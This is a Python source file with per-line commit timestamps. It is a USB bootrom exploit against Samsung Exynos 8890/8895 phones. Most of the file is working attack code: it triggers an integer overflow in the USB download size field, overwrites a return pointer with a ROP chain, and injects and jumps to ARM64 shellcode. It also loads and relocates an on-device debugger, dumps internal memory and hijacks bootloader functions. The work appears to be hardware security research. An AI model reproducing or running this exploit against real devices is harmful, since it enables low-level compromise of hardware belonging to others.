2024-08-02 13:51:35 +00:00
import struct , sys , usb1 , libusb1 , ctypes , usb , argparse
from keystone import *
from capstone import *
2024-08-02 17:53:33 +00:00
from ghidra_assistant . utils . utils import *
2024-08-05 12:51:04 +00:00
from ghidra_assistant . concrete_device import *
2024-08-05 17:37:13 +00:00
from ghidra_assistant . utils . debugger . debugger_archs . ga_arm64 import GA_arm64_debugger
from qiling . const import QL_ARCH
2024-08-09 20:16:13 +00:00
import os , tqdm , datetime
2024-08-02 13:51:35 +00:00
def p32 ( x ) :
return struct . pack ( " <I " , x )
def p8 ( x ) :
return struct . pack ( " <B " , x )
def p16 ( x ) :
return struct . pack ( " <H " , x )
def p64 ( x ) :
return struct . pack ( " <Q " , x )
2024-08-05 17:37:13 +00:00
logger = setup_logger ( " " ) #Leave empty to get root logger
logger . setLevel ( logging . DEBUG )
2024-08-02 13:51:35 +00:00
BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
2024-08-07 17:13:35 +00:00
MAX_PAYLOAD_SIZE = ( BLOCK_SIZE - 10 ) # 512, - 10 for ready (4), size (4), footer (2)
2024-08-02 13:51:35 +00:00
DL_BUFFER_START = 0x02021800
2024-08-07 17:13:35 +00:00
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
2024-08-02 13:51:35 +00:00
BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb
TARGET_OFFSETS = {
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
2024-08-07 17:13:35 +00:00
" 8890 " : ( 0x02021800 , 0x02020F08 , 0x02070000 ) , #0x206ffff on exynos 8890
2024-08-02 13:51:35 +00:00
" 8895 " : ( 0x02021800 , 0x02020F18 , 0x02070000 )
}
2024-08-16 08:11:18 +00:00
def wait_for_device ( ) :
while usb . core . find ( idVendor = 0x04e8 , idProduct = 0x1234 ) is None :
pass
def wait_disconnect ( ) :
while usb . core . find ( idVendor = 0x04e8 , idProduct = 0x1234 ) is not None :
pass
2024-08-02 13:51:35 +00:00
ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2
2024-08-05 12:51:04 +00:00
ks = Ks ( KS_ARCH_ARM64 , KS_MODE_LITTLE_ENDIAN )
cs = Cs ( CS_ARCH_ARM64 , CS_MODE_LITTLE_ENDIAN )
2024-08-02 13:51:35 +00:00
class ExynosDevice ( ) :
2024-08-08 17:46:04 +00:00
"""
Class to exploit a Exynos device ( 8890 / 8895 ) using the USB stack .
"""
2024-08-02 13:51:35 +00:00
def __init__ ( self , idVendor = 0x04e8 , idProduct = 0x1234 ) :
""" Init with vendor/product IDs """
self . idVendor = idVendor
self . idProduct = idProduct
self . target = " 8890 " # TODO auto detect device
self . connect_device ( )
def connect_device ( self ) :
2024-08-08 17:46:04 +00:00
""" Setup proper connection, and ensure the connection is alive """
2024-08-02 13:51:35 +00:00
self . context = usb1 . USBContext ( )
2024-08-08 17:46:04 +00:00
2024-08-02 13:51:35 +00:00
while True :
self . handle = self . context . openByVendorIDAndProductID (
vendor_id = self . idVendor ,
product_id = self . idProduct ,
2024-08-07 17:13:35 +00:00
skip_on_error = False
2024-08-02 13:51:35 +00:00
)
if self . handle == None :
continue
break
2024-08-08 17:46:04 +00:00
try :
self . handle . getDevice ( ) . getSerialNumber ( )
except Exception as e :
if e . value == usb1 . libusb1 . LIBUSB_ERROR_TIMEOUT or e . value == usb1 . libusb1 . LIBUSB_ERROR_IO :
print ( " Device disconnected / not connected. Reconnect USB? " )
2024-08-16 17:37:25 +00:00
sys . exit ( 1 )
2024-08-08 17:46:04 +00:00
else :
raise e
2024-08-16 16:15:53 +00:00
2024-08-14 17:46:27 +00:00
# claim usb interface
self . handle . claimInterface ( 0 )
2024-08-08 17:46:04 +00:00
print ( f " Connected device! { hex ( self . idVendor ) } { hex ( self . idProduct ) } " )
2024-08-16 08:11:18 +00:00
def disconnect ( self ) :
""" Disconnect the device """
self . handle . releaseInterface ( 0 )
self . handle . close ( )
self . context . exit ( )
2024-08-02 13:51:35 +00:00
2024-08-05 12:51:04 +00:00
def write ( self , data ) :
2024-08-16 16:15:53 +00:00
""" Write data to the device """
2024-08-02 13:51:35 +00:00
transferred = ctypes . c_int ( )
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , data , len ( data ) , ctypes . byref ( transferred ) , 0 )
2024-08-05 12:51:04 +00:00
assert ( res == 0 ) , " Could not perform bulk transfer "
return res
2024-08-02 13:51:35 +00:00
def send_empty_transfer ( self ) :
2024-08-16 16:15:53 +00:00
""" Send an empty transfer (to not actually write data) """
2024-08-02 13:51:35 +00:00
transferred = ctypes . c_int ( )
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , 0 , 0 , ctypes . byref ( transferred ) , 0 )
assert ( res == 0 )
2024-08-05 12:51:04 +00:00
return transferred . value
2024-08-02 13:51:35 +00:00
def test_bug_2 ( self ) :
2024-08-08 17:46:04 +00:00
""" Interger overflow in last packet if reamining size is 1. """
2024-08-02 13:51:35 +00:00
transferred = ctypes . c_int ( )
bug_payload = p32 ( 0 ) + p32 ( 0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7 ) + b " \x00 " * MAX_PAYLOAD_SIZE + p16 ( 0 )
bug_payload + = b " \xcc " * ( BLOCK_SIZE - len ( bug_payload ) )
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , bug_payload , len ( bug_payload ) , ctypes . byref ( transferred ) , 0 )
assert res == 0
payload = b " \xaa " * 0x200
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , payload , len ( payload ) , ctypes . byref ( transferred ) , 0 )
assert res == 0
payload = b " \xaa " * 0x200
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , payload , len ( payload ) , ctypes . byref ( transferred ) , 0 )
while True :
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , payload , len ( payload ) , ctypes . byref ( transferred ) , 10 )
2024-08-07 17:13:35 +00:00
2024-08-02 13:51:35 +00:00
def test_bug ( self ) :
2024-08-16 16:15:53 +00:00
""" Verify bug existence """
2024-08-02 13:51:35 +00:00
# Start by sending a valid packet
# Integer overflow in the size field
# unk + size + payload + header
payload = p32 ( 0 ) + p32 ( 0xFDFDE7FF + 0x1000 ) + b " \x00 " * MAX_PAYLOAD_SIZE + p16 ( 0 )
assert ( len ( payload ) == BLOCK_SIZE )
2024-08-05 12:51:04 +00:00
res = self . write ( payload , MAX_PAYLOAD_SIZE )
2024-08-02 13:51:35 +00:00
for i in range ( 200 ) :
print ( hex ( self . send_empty_transfer ( ) ) )
print ( ' Bug probably available ' )
sys . exit ( 0 )
2024-08-08 17:46:04 +00:00
2024-08-02 13:51:35 +00:00
2024-08-16 08:11:18 +00:00
def send_normal_stage ( self , payload ) :
2024-08-05 12:51:04 +00:00
'''
TODO not working
'''
2024-08-02 13:51:35 +00:00
# construct dl_data
2024-08-16 16:15:53 +00:00
dpayload = struct . pack ( " <II " , 0 , ( len ( payload ) + 8 + 2 ) )
2024-08-16 08:11:18 +00:00
dpayload = dpayload + payload + b " \x00 " * 2 # add footer
transferred = ctypes . c_int ( )
for block in range ( 0 , len ( dpayload ) , BLOCK_SIZE ) :
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , dpayload [ block : block + BLOCK_SIZE ] , len ( dpayload [ block : block + BLOCK_SIZE ] ) , ctypes . byref ( transferred ) , 0 )
assert res == 0 , " Error sending payload "
2024-08-16 16:15:53 +00:00
p_ok ( " Sent stage " )
2024-08-16 08:11:18 +00:00
2024-08-16 16:15:53 +00:00
def unsecure_boot ( self , exploit = False ) :
'''
Do a normal boot process , with or without exploit .
'''
if exploit :
self . exploit ( open ( " ../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin " , " rb " ) . read ( ) )
time . sleep ( 2 )
self . connect_device ( )
2024-08-16 08:11:18 +00:00
# self.send_normal_stage("/home/eljakim/Source/Samsung_S7/source/S7/g930f_latest/g930f_sboot.bin.1.bin")
self . send_normal_stage ( open ( " ../S7/g930f_latest/g930f_sboot.bin.1.bin " , " rb " ) . read ( ) )
2024-08-16 16:15:53 +00:00
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
# self.send_normal_stage(open("../../dump/rom.bin.1.bin", "rb").read())
2024-08-16 08:11:18 +00:00
# wait_disconnect()
time . sleep ( 2 )
self . connect_device ( )
self . send_normal_stage ( open ( " ../S7/g930f_latest/g930f_sboot.bin.2.bin " , " rb " ) . read ( ) )
2024-08-16 16:15:53 +00:00
# self.send_normal_stage(open("../S7/bl31.bin", "rb").read())
2024-08-16 08:11:18 +00:00
# wait_disconnect()
time . sleep ( 2 )
self . connect_device ( )
self . send_normal_stage ( open ( " ../S7/g930f_latest/g930f_sboot.bin.3.bin " , " rb " ) . read ( ) )
2024-08-16 16:15:53 +00:00
# self.send_normal_stage(open("../S7/sboot.bin.3.bin", "rb").read())
2024-08-16 08:11:18 +00:00
# wait_disconnect()
time . sleep ( 2 )
self . connect_device ( )
self . send_normal_stage ( open ( " ../S7/g930f_latest/g930f_sboot.bin.4.bin " , " rb " ) . read ( ) )
2024-08-16 16:15:53 +00:00
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
2024-08-02 13:51:35 +00:00
pass
2024-08-16 16:15:53 +00:00
2024-08-02 13:51:35 +00:00
def exploit ( self , payload : bytes ) :
2024-08-05 12:51:04 +00:00
'''
2024-08-07 17:13:35 +00:00
Exploit the Exynos device , payload of 502 bytes max . This will send stage1 payload .
2024-08-05 12:51:04 +00:00
'''
2024-08-08 17:46:04 +00:00
assert len ( payload ) < = MAX_PAYLOAD_SIZE , " Shellcode too big "
2024-08-02 13:51:35 +00:00
current_offset = TARGET_OFFSETS [ self . target ] [ 0 ]
2024-08-07 17:13:35 +00:00
xfer_buffer_start = TARGET_OFFSETS [ self . target ] [ 1 ] # start of USB transfer buffer
2024-08-02 13:51:35 +00:00
transferred = ctypes . c_int ( )
2024-08-07 17:13:35 +00:00
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
2024-08-02 13:51:35 +00:00
max_payload_size = 0x100000000 - size_to_overflow
2024-08-07 17:13:35 +00:00
ram_size = ( ( size_to_overflow % CHUNK_SIZE ) % BLOCK_SIZE ) #
2024-08-02 13:51:35 +00:00
2024-08-08 17:46:04 +00:00
# Assert that payload is 502 bytes
2024-08-02 13:51:35 +00:00
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
payload = payload + ( ( max_payload_size - len ( payload ) ) * b " \x00 " )
assert len ( payload ) == max_payload_size , " Invalid payload "
# First send payload to trigger the bug
bug_payload = p32 ( 0 ) + p32 ( size_to_overflow ) + payload [ : MAX_PAYLOAD_SIZE ] # dummy packet for triggering the bug
bug_payload + = b " \xcc " * ( BLOCK_SIZE - len ( bug_payload ) )
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , bug_payload , len ( bug_payload ) , ctypes . byref ( transferred ) , 0 )
assert res == 0 , " Error triggering payload "
assert transferred . value == len ( bug_payload ) , " Invalid transfered size "
current_offset + = len ( bug_payload ) - 8 # Remove header
cnt = 0
while True :
2024-08-07 17:13:35 +00:00
if current_offset + CHUNK_SIZE > = xfer_buffer_start and current_offset < xfer_buffer_start :
2024-08-02 13:51:35 +00:00
break
self . send_empty_transfer ( )
current_offset + = CHUNK_SIZE
cnt + = 1
if current_offset > 0x100000000 :
current_offset = current_offset - 0x100000000 #reset 32 byte integer
print ( f " { cnt } { hex ( current_offset ) } " )
remaining = ( TARGET_OFFSETS [ self . target ] [ 1 ] - current_offset )
assert remaining != 0 , " Invalid remaining, needs to be > 0 in order to overwrite with the last packet "
if remaining > BLOCK_SIZE :
self . send_empty_transfer ( )
# Send last transfer, TODO who aligns this ROM??
current_offset + = ( ( remaining / / BLOCK_SIZE ) * BLOCK_SIZE )
cnt + = 1
print ( f " { cnt } { hex ( current_offset ) } " )
# Build ROP chain.
rop_chain = ( b " \x00 " * ( ram_size - 6 ) ) + p64 ( TARGET_OFFSETS [ self . target ] [ 0 ] ) + ( b " \x00 " * 2 )
transferred = ctypes . c_int ( 0 )
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , rop_chain , len ( rop_chain ) , ctypes . byref ( transferred ) , 0 )
assert res == 0 , " Error sending ROP chain "
2024-08-16 16:15:53 +00:00
return
2024-08-05 12:51:04 +00:00
def usb_write ( self , data ) :
assert len ( data ) < = 0x200 , " Data too big "
transferred = ctypes . c_int ( )
2024-08-05 17:37:13 +00:00
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , data , len ( data ) , ctypes . byref ( transferred ) , 300 )
assert res == 0 , f " Error sending data { res } "
assert transferred . value == len ( data ) , f " Invalid transfered size { transferred . value } != { len ( data ) } "
2024-08-05 12:51:04 +00:00
return transferred . value
2024-08-02 17:53:33 +00:00
2024-08-16 16:15:53 +00:00
2024-08-05 12:51:04 +00:00
def usb_read ( self , size ) :
transferred = ctypes . c_int ( )
buf = ctypes . c_buffer ( b " " , size )
2024-08-05 17:37:13 +00:00
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_IN , buf , len ( buf ) , ctypes . byref ( transferred ) , 300 )
assert res == 0 , f " Error receiving data { res } "
2024-08-05 12:51:04 +00:00
return buf . raw [ : transferred . value ]
2024-08-16 16:15:53 +00:00
2024-08-05 17:37:13 +00:00
def setup_concrete_device ( self , concrete_device : ConcreteDevice ) :
#Setup architecture
concrete_device . arch = QL_ARCH . ARM64
concrete_device . ga_debugger_location = 0x2069000 # TODO, not used yet
concrete_device . ga_vbar_location = 0x206d000 + 0x1000
concrete_device . ga_storage_location = 0x206d000
concrete_device . ga_stack_location = 0x206b000
concrete_device . arch_dbg = GA_arm64_debugger ( concrete_device . ga_vbar_location , concrete_device . ga_debugger_location , concrete_device . ga_storage_location )
concrete_device . arch_dbg . read = self . usb_read
concrete_device . arch_dbg . write = self . usb_write
#Overwrite all calls to make the concrete target function properly
concrete_device . copy_functions ( )
2024-08-08 17:46:04 +00:00
2024-08-16 16:15:53 +00:00
2024-08-08 17:46:04 +00:00
def usb_debug ( self ) :
"""
2024-08-09 20:16:13 +00:00
Function to debug USB behaviour . Sends and receives data in continuous flow .
2024-08-08 17:46:04 +00:00
"""
transferred = ctypes . c_int ( )
# Send some data
count = 0
def _send_data ( ) :
transferred . value = 0
p = p32 ( count ) + b " \xaa " * ( 0x200 - 4 )
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , ENDPOINT_BULK_OUT , p , len ( p ) , ctypes . byref ( transferred ) , 100 )
assert res == 0 , f " Error sending data ( { res } ) "
def _recv_data ( ) :
transferred . value = 0
buf = ctypes . c_buffer ( b " " , 0x200 )
res = libusb1 . libusb_bulk_transfer ( self . handle . _USBDeviceHandle__handle , 0x81 , buf , len ( buf ) , ctypes . byref ( transferred ) , 100 )
assert res == 0 , f " Error receiving data ( { res } ) "
hexdump ( buf . raw )
# Should have received some bytes
while True :
_send_data ( )
_recv_data ( )
count + = 1
2024-08-16 16:15:53 +00:00
2024-08-26 15:45:29 +00:00
def dump_memory ( self , start : hex = 0x0 , end : hex = 0x02070000 , write = False ) :
2024-08-09 20:16:13 +00:00
"""
Dumps memory from the device .
Transfer XFER_BUFFER at 0x02021800 , to : 0x02020F08 . End of memory at 0x0206ffff .
"""
dumped = b " "
# Read data from memory
2024-08-26 15:45:29 +00:00
try :
for block in tqdm . tqdm ( range ( start , end , 0x6000 ) ) :
dump = self . cd . memdump_region ( block , 0x6000 )
dumped + = dump
except :
print ( " Error reading memory, at block: " , hex ( block ) )
2024-08-09 20:16:13 +00:00
return dumped
2024-08-28 16:45:05 +00:00
def check_mem_write_execute ( self , region ) :
"""
NOT WORKING YET
Write opcode to memory which jumps back immediatelly to the LR register at that moment .
"""
# LR to jump back to:
lr = self . cd . arch_dbg . state . LR
# Write opcode
shellcode = f """
ldr x0 , target_addr
blr x0
target_addr : . quad { hex ( lr ) }
"""
shellcode = ks . asm ( shellcode , as_bytes = True ) [ 0 ]
self . cd . memwrite_region ( region , shellcode )
self . cd . jump_to ( region )
2024-08-09 20:16:13 +00:00
def setup_guppy_debugger ( self ) :
"""
Sets up guppy debugger on the device itself .
"""
def _setup_debugger ( ) :
'''
Setup the debugger as a concrete device
'''
self . cd = ConcreteDevice ( None , False )
self . cd . dev = self . setup_concrete_device ( self . cd )
self . cd . test_connection ( )
def _initial_run_debugger ( ) :
""" Write debugger to device and test basic functionality """
2024-08-28 16:45:05 +00:00
### Setup debugger
2024-08-09 20:16:13 +00:00
if os . getenv ( " USER " ) == " eljakim " :
2024-08-28 16:45:05 +00:00
debugger = open ( " /home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin " , " rb " ) . read ( )
2024-08-09 20:16:13 +00:00
else :
try :
debugger = open ( " ../../dump/debugger.bin " , " rb " ) . read ( )
except Exception as e :
print ( f ' Are you missing your debugger? Please ensure it is present in dump/debugger.bin. { e } ' )
sys . exit ( 0 )
2024-08-28 16:45:05 +00:00
2024-08-09 20:16:13 +00:00
debugger + = ( ( 0x2000 - len ( debugger ) ) * b " \x00 " )
assert len ( debugger ) == 0x2000 , " Invalid debugger size, stage1 requires 0x2000 size "
for block in range ( 0 , len ( debugger ) , 0x200 ) :
self . usb_write ( debugger [ block : block + 0x200 ] )
# time.sleep(.5) # Wait a little bit
assert self . usb_read ( 0x200 ) == b " GiAs " , " No response from debugger "
# Test basic functionality
self . usb_write ( b " PING " )
r = self . usb_read ( 0x200 )
assert r == b " PONG " , f " Invalid response from device: { r } "
_initial_run_debugger ( )
_setup_debugger ( )
2024-08-16 16:15:53 +00:00
2024-08-29 19:06:15 +00:00
def relocate_debugger ( self , debugger = None , entry = 0x020c0000 , storage = 0x020c4000 , g_data_received = 0x020c6000 , alternative_size = 0x1000 ) :
2024-08-28 16:45:05 +00:00
"""
Relocates the debugger to another location . Make sure to have built the debugger with the correct addresses !
2024-08-16 16:15:53 +00:00
2024-08-28 16:45:05 +00:00
Args :
- debugger : The debugger to relocate . If None , it will use the default debugger .
- entry : The entry point of the debugger .
- storage : The storage location of the debugger .
- g_data_received : The location of the data received .
"""
if debugger is None :
if os . getenv ( " USER " ) == " eljakim " :
debugger_reloc = open ( " /home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin " , " rb " ) . read ( )
else :
try :
debugger_reloc = open ( " ../../dump/reloc_debugger.bin " , " rb " ) . read ( )
except Exception as e :
print ( f ' Are you missing your debugger? Please ensure it is present in dump/debugger.bin. { e } ' )
sys . exit ( 0 )
2024-08-17 18:35:52 +00:00
else :
2024-08-28 16:45:05 +00:00
debugger_reloc = debugger
2024-08-17 18:35:52 +00:00
2024-08-28 16:45:05 +00:00
self . cd . memwrite_region ( entry , debugger_reloc )
2024-08-17 18:35:52 +00:00
# self.usb_write(b"FLSH") # Flush cache
2024-08-28 16:45:05 +00:00
self . cd . restore_stack_and_jump ( entry )
2024-08-17 18:35:52 +00:00
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to relocate debugger "
2024-08-29 19:06:15 +00:00
self . cd . relocate_debugger ( g_data_received + alternative_size , entry , storage ) #0x20c7000, 0x20c0000, 0x20c4000
2024-08-28 16:45:05 +00:00
2024-08-23 16:05:06 +00:00
2024-08-12 16:58:49 +00:00
def dumb_interact ( self , dump_imems = False ) :
2024-08-05 17:37:13 +00:00
'''
2024-08-16 16:15:53 +00:00
Room for playing around with the debugger on the phone .
2024-08-05 17:37:13 +00:00
'''
self . cd . arch_dbg . state . auto_sync = False
2024-08-09 10:57:34 +00:00
self . cd . arch_dbg . state . auto_sync_special = False
2024-08-12 16:58:49 +00:00
logger . debug ( ' State after setting up initial debugger ' )
2024-08-05 17:37:13 +00:00
self . cd . arch_dbg . state . print_ctx ( )
2024-08-16 08:11:18 +00:00
def first_debugger ( ) :
debugger = open ( " /home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin " , " rb " ) . read ( )
self . cd . memwrite_region ( 0x2069000 , debugger )
self . cd . restore_stack_and_jump ( 0x2069000 )
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to relocate debugger "
self . cd . relocate_debugger ( 0x206d000 + 0x1000 , 0x2069000 , 0x206d000 )
2024-08-12 16:58:49 +00:00
2024-08-16 16:15:53 +00:00
# self.relocate_debugger()
2024-08-16 08:11:18 +00:00
DEBUGGER_ADDR = 0x2069000 #0x020c0000
2024-08-12 16:58:49 +00:00
2024-08-16 16:15:53 +00:00
### Get whereabouts of the debugger and current processor state
2024-08-12 16:58:49 +00:00
logger . debug ( ' State after relocating debugger ' )
self . cd . arch_dbg . state . print_ctx ( )
2024-08-09 10:57:34 +00:00
2024-08-09 20:22:16 +00:00
def memdump_imem ( ) :
2024-08-16 16:15:53 +00:00
"""
Dumps the internal memory of the device ( 0x2020000 - 0x2070000 ) .
"""
2024-08-09 20:22:16 +00:00
dumped = b " "
for block in range ( 0x2020000 , 0x2070000 , 0x200 ) :
# print(hex(block))
dumped + = self . cd . memdump_region ( block , 0x200 )
return dumped
2024-08-16 16:15:53 +00:00
AUTH_BL1 = 0x00012848 # Location of the authentication function
2024-08-16 08:11:18 +00:00
def auth_bl1 ( lr = 0x2069000 ) :
# Load the firmware
self . cd . arch_dbg . state . X0 = 1
self . cd . arch_dbg . state . X1 = 1
self . cd . arch_dbg . state . LR = lr #jump back to debugger when finished
self . cd . restore_stack_and_jump ( AUTH_BL1 )
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to jump back to debugger "
assert self . cd . arch_dbg . state . X0 == 0 , " auth_bl1 returned with error! "
2024-08-16 16:15:53 +00:00
BOOT_BL1 = 0x00019310 # Location of the boot function
2024-08-16 08:11:18 +00:00
def boot_bl1 ( lr = 0x2069000 ) :
self . cd . arch_dbg . state . LR = lr
self . cd . restore_stack_and_jump ( BOOT_BL1 )
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to jump back to debugger "
2024-08-16 16:15:53 +00:00
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
2024-08-16 08:11:18 +00:00
def jump_bl1 ( lr ) :
self . cd . arch_dbg . state . LR = lr
self . cd . restore_stack_and_jump ( JUMP_BL1 )
# Always hijack rom_usb_download function:
rom_usb_download = self . cd . memdump_region ( 0x020200dc , 4 )
self . cd . memwrite_region ( 0x020200dc , p32 ( 0x2069000 ) )
2024-08-09 20:22:16 +00:00
2024-08-09 10:57:34 +00:00
# Try loading bl1
bl1 = open ( " ../S7/bl1.bin " , " rb " ) . read ( )
2024-08-16 08:11:18 +00:00
self . cd . memwrite_region ( 0x02021800 , bl1 )
2024-08-16 16:15:53 +00:00
self . usb_write ( b " FLSH " ) # Flush cache, as Frederic does
2024-08-16 08:11:18 +00:00
self . cd . test_connection ( )
auth_bl1 ( DEBUGGER_ADDR )
# boot_bl1(DEBUGGER_ADDR)
self . cd . memwrite_region ( 0x02022858 , self . cd . arch_dbg . sc . branch_absolute ( DEBUGGER_ADDR ) ) # jump to debugger on next stage download
self . cd . memwrite_region ( 0x020219cc , self . cd . arch_dbg . sc . branch_absolute ( DEBUGGER_ADDR ) )
jump_bl1 ( DEBUGGER_ADDR )
# Returns on usb_download function
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to jump back to debugger "
self . cd . arch_dbg . state . print_ctx ( )
dl_ready , next_stage = struct . unpack ( " <II " , self . cd . memdump_region ( 0x02021518 , 8 ) )
bl31 = open ( " ../S7/bl31.bin " , " rb " ) . read ( )
self . cd . memwrite_region ( 0x02024000 , bl31 )
self . cd . memwrite_region ( 0x02021518 , p32 ( 1 ) ) # Set dl_ready to 1
self . cd . memwrite_region ( 0x02021518 + 4 , p32 ( self . cd . arch_dbg . state . X0 ) )
self . cd . arch_dbg . state . X0 = 0
self . cd . restore_stack_and_jump ( 0x020219c8 )
pass
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.restore_stack_and_jump(0x02022a08)
# Patches
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
2024-08-16 16:15:53 +00:00
# Patch stupid error function
2024-08-16 08:11:18 +00:00
# self.usb_write(b"FLSH") # Flush cache
# Download next stage?
lr = self . cd . arch_dbg . state . LR
2024-08-16 16:15:53 +00:00
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
2024-08-16 08:11:18 +00:00
pass
2024-08-12 16:58:49 +00:00
2024-08-13 14:42:17 +00:00
# Overwrite jump back to the debugger from functions encountered during jump_bl1
2024-08-14 17:46:27 +00:00
self . cd . memwrite_region ( 0x020200e8 , p32 ( 0x020c0000 ) ) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
2024-08-12 16:58:49 +00:00
self . cd . memwrite_region ( 0x020200dc , p32 ( 0x020c0000 ) )
def hijack_brom_weird ( ) :
2024-08-16 08:11:18 +00:00
print ( f " From = { hex ( self . cd . arch_dbg . state . LR - 4 ) } X0 = { hex ( self . cd . arch_dbg . state . X0 ) } " )
2024-08-12 16:58:49 +00:00
self . cd . restore_stack_and_jump ( 0x00000314 )
2024-08-09 20:22:16 +00:00
jump_bl1 ( 0x020c0000 )
2024-08-16 08:11:18 +00:00
def handle_weird_brom ( ) :
while True :
try :
resp = self . usb_read ( 0x200 )
logging . debug ( f ' Within jump_bl1. Response: { resp } . ' )
if self . cd . arch_dbg . state . LR == 0x02022948 :
break # ROM will load next stage over USB
hijack_brom_weird ( )
except Exception as e :
pass
handle_weird_brom ( )
2024-08-16 16:15:53 +00:00
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
2024-08-16 08:11:18 +00:00
# self.cd.jump_to(0x2069000)
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# self.cd.fetch_special_regs()
self . cd . memwrite_region ( 0x02022a08 , self . cd . arch_dbg . sc . mov_0_w0_ins + self . cd . arch_dbg . sc . ret_ins )
2024-08-16 16:15:53 +00:00
2024-08-16 08:11:18 +00:00
self . cd . arch_dbg . state . X0 = 1
self . cd . restore_stack_and_jump ( self . cd . arch_dbg . state . LR )
self . usb_read ( 0x200 ) # GiAs
self . cd . arch_dbg . state . LR = 0x2069000
self . cd . restore_stack_and_jump ( 0x00000314 )
pass
2024-08-16 16:15:53 +00:00
### UXN and PXN seem to be present over the USB stack (02021800+)
2024-08-14 17:46:27 +00:00
shellcode = f """
ldr x0 , debugger_addr
blr x0
2024-08-29 19:06:15 +00:00
debugger_addr : . quad 0x02022000
2024-08-14 17:46:27 +00:00
"""
2024-08-13 14:42:17 +00:00
2024-08-14 17:46:27 +00:00
shellcode = ks . asm ( shellcode , as_bytes = True ) [ 0 ]
self . cd . memwrite_region ( 0x2021800 , shellcode )
2024-08-13 14:42:17 +00:00
2024-08-14 17:46:27 +00:00
self . cd . jump_to ( 0x2021800 )
2024-08-13 14:42:17 +00:00
pass
2024-08-14 17:46:27 +00:00
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
# # Write bl31 at 0x02021800 and authenticate
2024-08-16 08:11:18 +00:00
2024-08-14 17:46:27 +00:00
auth_bl1 ( 0x020c0000 )
2024-08-13 14:42:17 +00:00
2024-08-14 17:46:27 +00:00
# Jump to bl31
jump_bl1 ( 0x02021800 )
pass
2024-08-13 14:42:17 +00:00
2024-08-16 16:15:53 +00:00
# VERY OLD
2024-08-06 22:20:30 +00:00
#000125b4
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4)
2024-08-28 16:45:05 +00:00
def get_ttbr0_el3 ( self ) :
2024-08-29 19:06:15 +00:00
"""
Get the TTBR0_EL3 register using opcode .
"""
2024-08-28 16:45:05 +00:00
shellcode = f """
mov x1 , lr
mrs x0 , ttbr0_el3
2024-08-29 19:06:15 +00:00
ldr x2 , = 0x206fd10
2024-08-28 16:45:05 +00:00
str x0 , [ x2 ]
mov lr , x1
ret
"""
shellcode = ks . asm ( shellcode , as_bytes = True ) [ 0 ]
2024-08-29 19:06:15 +00:00
self . cd . memwrite_region ( 0x206ed10 , shellcode )
self . cd . jump_to ( 0x0206ed10 )
ttbr0 = u64 ( self . cd . memdump_region ( 0x0206fd10 , 0x8 ) )
2024-08-28 16:45:05 +00:00
print ( f " TTBR0_EL3: { hex ( ttbr0 ) } " )
